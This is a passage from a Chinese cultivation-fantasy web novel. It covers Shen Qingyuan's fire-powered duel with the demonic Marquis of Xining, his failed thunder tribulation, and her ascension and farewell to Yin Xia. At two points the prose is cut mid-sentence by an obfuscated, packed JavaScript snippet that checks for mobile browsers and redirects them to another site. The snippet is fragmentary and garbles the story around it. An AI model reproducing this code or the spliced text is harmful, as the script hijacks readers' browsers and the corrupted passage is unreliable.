西宁侯身体一歪,屈指一弹,只听见哐当一声,沉重的刀身歪斜了一瞬,刀势虽无法阻挡,却也因此稍微偏离了原本的方向。沈卿缘原本对准的是他的脑袋,如今只在西宁侯侧过的胳膊上破开了一条口子,刀锋锐利,那处伤口顿时溢出红黑色的血液。 沈卿缘眼中闪过一丝了然。西宁侯装得好像无事发生,实际上也感染了瘴气,难以抑制魔气的逸散与修为的跌落。 这种情况自然是对自己有利的。 沈卿缘心里有了确认,下手更快更狠,体内的灵气不再遮掩,瞬间爆发出来。因灵气燃烧,她丹田中的本命灵火也随之溢出至手中的黑色长刀之上,刀身之上燃烧着一片紫色火光,在黑暗中醒目至极。 四周温度节节升高,树叶纷纷失水直至焦脆,从枝头飘落而下,遍地枯黄。 沈卿缘改变挥刀的方向,闪身上前,不给西宁侯反应的时间,瞄准西宁侯心脏的方向就是一刀。 刀锋入体,西宁侯首先感受到的并非森然的凉意,而是火焰灼烧之感。沈卿缘抓住时机,继续往刀中注入灵力,并乘机放出了整朵本命灵火。 她双手发力,稍微抽出一点刀身,刀身上的异火燃烧蔓延开来,周围的温度瞬间拔高,火焰围绕着两人形成一个巨大的包围圈,锋利刀意带着滚滚热浪再次扎入西宁侯的胸膛之中。 两人脚下的小楼已经烧成了一片焦炭,不时发出崩裂的脆响,宛如人间炼狱。 西宁侯面无表情的脸上一阵扭曲,他双手如钳,一寸一寸地将胸口的长刀往外拔出。每拔一点,胸口的窟窿就被异火烧得更加焦黑,弥漫出一阵难以言喻的腥臭味。 他往远处伸手,有咒印的光芒一闪而过,沈卿缘注意到手上突然多了一个男人,也是魔修。若以修仙界修为换算的话,应该是大乘期。 西宁侯将这个魔修放在地上,掐着他的下巴,低头靠在他颈边,以一个再缠绵不过的姿态,压制住对方的挣扎。 吸取魔气的发生不过瞬间,沈卿缘再睁大眼睛,这个魔气饱满的男性魔修仿佛漏了气的皮球一样,在西宁侯的脚边成了一具干扁的尸体。 他西宁侯顺利吸完魔气,胸前硕大的焦黑窟窿缩小了不少,伤口也逐渐泛粉结痂,恢复速度快得令人咋舌。 “是我小瞧了你。”他定定地看了沈卿缘一会儿,垂眸叹息道,“他是我的得力助手,我原本还想留他一命的。” 沈卿缘心生警惕,魔修的诡异术法果然层出不穷。 就好比西宁侯刚才施展的那个咒印,哪怕在极度恐惧中,那个魔修男子仍违抗不了西宁侯的指令,咒印浮现的瞬间,他就像磁石一样被西宁侯吸了过来,任何挣扎都无济于事。 将魔力补充完毕,西宁侯长啸一声,浑身盈满了充足的魔力,又蓄力挥拳攻了上来。 此刻拳落如雨,密密麻麻,防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233569|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不胜防。 他没用武器,但每一拳都带着滔天的魔气,沈卿缘一开始疲于抵抗,防御罩消耗太多,实际是在变相消耗灵气。 她体内的灵气消耗过大,已经自发飞速运转,为灵体补充更多的灵气。在重重防御罩的阻拦下,仍有一两道拳风透过防御罩裹挟着钧天之势席卷而来,荡起浩大气浪。 但都被沈卿缘提刀格挡在外,暴烈的拳风招招致命,却都浪费在屏障和刀身之上,她本人面上一派平静,看不出任何灵力衰竭的样子。 西宁侯不禁皱眉,目光注意到这女子手中所提的长刀上。 前些日子她伪装成炼器师,不但搭上了自家女儿这条线,还大摇大摆地借着送首饰的名义进入了府中。 大女儿虽帮着自己打理店铺,也算得上见过不少世面,但终究年纪不大,在人心揣度上还是弱了一些,被人找机会钻了空子。 他差人监视这对夫妻,叮嘱他们有什么风吹草动及时汇报。 不久后手下果然传来消息,说大小姐收到首饰之后,就满心欢喜地回房间打扮去了,先前拜访的两名客人正在去花园赏花的路上。 但他没这么好糊弄,仍对两人存了些疑虑,因此下令将两人活捉回来搜魂。 手下得力干将领命而去,趁两人昏迷时搜魂,之后汇报消息称已经查看过两人的记忆,男修胸无大志,女修是个勤勤恳恳的外来炼器师,除此之外并无异常之处。 可眼下黑色长刀灵活异常,刀刃上席卷着紫色异火,挥动之时风雷阵阵,刀刀致命。 他心道这哪儿是什么勤勤恳恳的炼器师? 说这女子是刀修还差不多。 也就自己愚蠢的手下信了,不但被蒙蔽了眼睛,还向他传出了错误的消息,导致他一时轻敌,越打越觉得艰难。 沈卿缘在得了异火之后,由于火焰的威力太大没怎么用过。现在刚好得了机会,御使起来越发觉得得心应手。 在异火的催化下,修为直接攀升,无论是灵力供给速度还是出招速度都明显加快了太多。 紫色火焰在刀刃上暴涨出明亮的火光,点燃了漆黑的夜色,刀锋所向之处带着焚毁万物的威力。一刀挥去,山崩地裂,打得西宁侯节节败退,苦不堪言。 眼前跳动的火焰勾起了西宁侯尘封的回忆。 他想起了前段时间派了大量守卫追踪异火却接连不顺,空手而回的事情。 明明追踪的是个修为不高的散修,却见了鬼似得怎么找都找不到,滑不溜手的很,甚至还寻了仙市中的空子,引得手下那群蠢货触犯了仙市的法则,再也无法进入仙市一步。 找人的线索从那时起也就断了。 可对面的女子手上跳动的火焰似曾相识,分明与魔主当初逃脱出躯体的异火如出一辙,他定睛细看,又发觉些不同之处。 他收回了拳头,有些不确定道:“你手上的,是什么火?” 沈卿缘轻飘飘掠后,隔开安全距离,微笑道:“这是我的本命灵火呀。” 西宁侯将前因后果串联了一遍,大致猜出了祭坛毁坏,瘴气暴涨是谁的手笔。再盯着沈卿缘时,神情里不免带了些咬牙切齿。 “原来是你!” 48. 第 48 章 西宁侯喃喃自语:“原来你才是那位身怀异火之人。” 沈卿缘一手提刀,另外一只手上旋转着一朵璀璨的本命灵火。火焰绽开,宛如一朵水晶雕刻的紫色莲花,在她苍白的掌心中显得精致而华美。 灵火挥出,分成了无数朵晶莹剔透的缩小版灵火悬在周身,是一个十足的进攻姿态。 西宁侯冷脸,挥拳上前与沈卿缘近身缠斗起来:“好说,既然你送上门了,那便把命留下吧。” 沈卿缘放出周身的本命灵火。霎时间无数火焰纷飞而下,落入地面仿佛盛开的红色花朵,草木沾之立刻一片焦黑,灿烂的火光转眼已烧成一片,往屋舍的方向绵延而去。 沈卿缘将手中长剑轻轻一抖,火焰如蛇一般缠绕到剑身,刹那间明光灼灼,重拳与利刃相交,发出金石之声的同时,映出两人火焰下的面庞。 西宁侯的全身都泛着乌黑的瘴气。 方才在黑夜之中还不太看得分明,如今他血红色的眼睛与掉落的修为,在明亮的火光下再也无法遮掩。 沈卿缘挥出长剑,随着一道火光耀耀的圆弧落下,一条带着黑血的手臂被削至空中,血流如注。 沈卿缘以灵气洗去剑身的黑血,垂眸看地上的断肢:“胜负已分,若是算上你掉落的的修为,我赢你绰绰有余,劝你不要挣扎。” 西宁侯有些怔然,手中熟悉的花纹浮现,是方才强制召唤魔修的法阵。不过片刻后,却慢慢握紧了拳头。 他自行捏碎了那个邪异的法阵, 沈卿缘知道他不会再召唤手下的魔修了,就算那些魔修被他抓来补充魔力,但目前跌落的修为却再难补全了。 他的气势逐级掉落,沈卿缘却越战越勇。 她双手握着刀柄,高高举起因火光缭绕与灵气激发而变得煞气腾腾的长刀,随后往地上插去。 炫目的火焰从长刀所立之处燃起,宛如蛛网,以此处为中心向西宁侯府的各处蜿蜒开去。 像是漆黑天边的第一道霞光,各处黑色的屋舍宛如融化的焦糖一般,陷落在熊熊燃烧的火焰之中。 甚至盖过了天边月亮的皎洁颜色。 地下大片的瘴气仿佛撑破一般,如墨水般的汁液四处横流,稍淡一些的瘴气则漂浮在空中,宛如烧成灰烬的铁屑,散落在空中,随风往府外飘去。 西宁侯体内的魔气混合着瘴气,此刻瘴气的浓度陡然增加,他一手撑地,腰被压得更弯了一些,仿佛在忍受着极大的痛苦。 思及现况,他死死盯着烧得只剩缕缕黑烟的小楼,忽然仰天长啸。 沈卿缘定睛一看,吸入的大片深紫色黑气中混合着瘴气与魔气。可他并不在意,一股脑地完全吸收殆尽收为己用,随后他盘膝坐下,头顶上隐约出现银色雷光。 沈卿缘后退两步,心道不会吧,都掉境界了还强行冲击渡劫境的顶峰,他是怕自己死得不够快吗? 天边雷声轰隆,由远至近,无数银色扭曲的闪电拥簇在厚厚的深色云层之中,电光凛冽。 在别人天雷渡劫的时候,可以在旁观看,但也要找准合适的位置,不能离渡劫之处太近,否则容易被牵连。 可她想着退,本命灵火却离体而出,忽然摆脱了沈卿缘的控制,紫色的莲花形火焰旋转飞出,往西宁侯渡劫圈内冲去。 沈卿缘忽感头痛。 可也不能不管自家灵火,上面有自己的气息,天雷会将她一并认定为闯入雷劫中心之人,并降下雷劫以示惩戒。 她双手半拢,十指虚虚地搭在一起,做出一个笼的形状,金色丝线从她的手中窜出并扩展成细密的丝线,飞快追上了正想要上去给西宁侯补刀的本命灵火。 紫色灵火在空中僵了一瞬,就被如影随形的金线缠得严严实实,就好像被丝线拉动的傀儡一般,以很慢的速度被拖向沈卿缘锁牵动的方向。 异火心不甘情不愿地被沈卿缘拉回,磨磨蹭蹭,一步三扭,让人看着又生气又好笑。就好像在拖着自家精力无限、到处撒欢蹦跶的宠物狗一样,稍微拉一拉还不乐意和主人闹点小脾气。 西宁侯在渡劫,它竟然不听从自己的意志,强行脱离,是有些奇怪。 虽然它不惧渡劫的天雷,可如今已经成为自己的本命灵火,若是进入天雷之中,即使真的杀死了西宁侯,也会将她一并拖下水。 也许,强行唤出天雷进阶的,并不是她的灵火,而是在灵火回归到魔主身体成为她心脏的一部分后,所受到的潜移默化的影响。 所以才会在西宁侯生死的关键时刻想要补刀,强行唤出天雷。 若这原本就是魔主的意志就说得通了。 魔主为了给自己复仇,在消亡前往心脏中下了念力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419285|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是一种达到既定条件之后才能触发的法则。 西宁侯重伤,沈卿缘占据上风位置,刚好符合这个要求,因此灵火才会不受控制。即使在重重天雷下,也毫无顾忌地冲其之中。 沈卿缘召回灵火,却也迫不得已承接了天雷,只得掀起裙摆,盘膝而坐。 西宁侯以魔修之躯强行触发登仙之阶,本是逆天而行,天雷轰隆地像是要将这片西宁侯府完全撕碎掉。 此外又加上沈卿缘就差临门一脚迈入仙界,最后一道的雷劫更是满眼闪电光芒,闪电的光芒亮如白昼、惊天动地。 一直至凌晨才见分晓。 西宁侯渡劫失败,原地化为一捧黑灰。 殷夏降从凌晨的光芒中现身,将这捧灰烬扬入空中。 沈卿缘已经渡劫成功。 他眨了眨眼睛,轻轻颤了颤睫毛,有着一瞬间的惘然。 殷夏上前看了看那张原本熟悉至极的脸庞。随着灿烂的阳光缓慢地洒下,她的脸庞圣洁而美丽,仙气缥缈。充满了神性,像是剔除了人性的七情六欲,爱憎悲喜。 “你已经渡劫成功了。”殷夏的声音有些颤抖。 沈卿缘的目光遥遥望向远方,表情不辨悲喜:“仙界之门已开,我得走了。” 殷夏既不点头,也未摇头:“登仙之后的你,还是你吗?” 他能感觉自己与沈卿缘之间的链接慢慢消散。 雷劫之后,沈卿缘身上不属于仙界的那部分的情感与烙印,都随着最后一道天雷的洗涤慢慢散去,最终剥离。 沈卿缘轻声道:“我在上界等你,但也许,下界的繁华热闹其实更有趣,只是我如今无法感受到了。” “若是这样,我并不想成仙。原本我只是个金丹修士,是你将我拉到如今的地步,能就此在尘世中走一遭,我也不惧升仙之后的一片空寂无聊。” 沈卿缘伸出指尖,迸裂出一道金色光芒,幻化成一枚法印,落入殷夏的手中。殷夏眼见她的身形越来越淡,周身的光芒却越来越明亮。 她说:“也好,那经营仙市的事情,就拜托你跟茉茉了。” 在她转身之前,殷夏终于忍不住问了一句:“我是以什么身份?” 沈卿缘回想起以前与茉茉开玩笑时的聊天,唇角溢出一丝无法察觉的笑意:“大概是,城主夫人吧。”